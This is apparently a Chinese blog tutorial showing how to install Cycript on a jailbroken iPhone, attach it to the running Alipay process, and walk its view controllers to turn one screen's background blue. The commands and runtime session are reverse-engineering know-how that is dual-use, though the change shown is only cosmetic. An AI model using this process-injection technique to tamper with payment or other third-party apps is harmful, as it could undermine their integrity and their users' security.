Cycript: Objective-JavaScript ,它懂 Objective-C,也懂javascript 。

我们能够借助 Cycript 使用 Objective-C 或者 javascript ,给某个正在运行的进程的 runtime 发送消息。

本文以修改支付宝 app 界面为例,介绍 Cycript 的使用方法。

安装 Cycript

到 Cycript 官方网站下载资源工具,然后推进已越狱的 iPhone 中,进行安装:

dpkg -i cycript_0.9.461_iphoneos-arm.deb  
dpkg -i libffi_1-3.0.10-5_iphoneos-arm.deb

确定支付宝进程

运行支付宝 app,然后获取它的进程号:

Primer:/ root# ps aux | grep Portal  
 
mobile     479   0.6  4.3   590776  44956   ??  Ss    5:14PM   0:09.58 /var/mobile/Applications/8723004E-9E54-4B37-856D-86292780E958/Portal.app/Portal  
root       497   0.0  0.0   329252    176 s000  R+    5:21PM   0:00.00 grep Portal

Cycript 钩住支付宝进程

Primer:/ root# cycript -p 479  
cy#

获取当前界面的 viewController 并修改背景色

cy# var app = [UIApplication sharedApplication]  
@"<DFApplication: 0x16530660>"  
 
cy# app.delegate  
@"<DFClientDelegate: 0x165384d0>"  
 
cy# var keyWindow = app.keyWindow  
@"<UIWindow: 0x1654abb0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1654b190>; layer = <UIWindowLayer: 0x1654ace0>>"  
 
cy# var rootController = keyWindow.rootViewController  
@"<DFNavigationController: 0x1654b6c0>"  
 
cy# var visibleController = rootController.visibleViewController  
@"<ALPLauncherController: 0x166acfb0>"  
 
cy# visibleController.childViewControllers  
@["<HPHomeWidgetGroup: 0x166afbc0>","<ADWRootViewController: 0x165745c0>","<ALPAssetsRootViewController: 0x16577250>","<SWSecurityWidgetGroup: 0x166bd940>"]  
 
cy# var assetsController = new Instance(0x16577250)  
@"<ALPAssetsRootViewController: 0x16577250>"  
 
cy# assetsController.view.backgroundColor = [UIColor blueColor]  
@"UIDeviceRGBColorSpace 0 0 1 1"

图片 5.1 cycrypt

当然,只是修改个背景色好没意思……

想修改更多信息,还得介绍一下另一个利器: class-dump 。下篇再总结~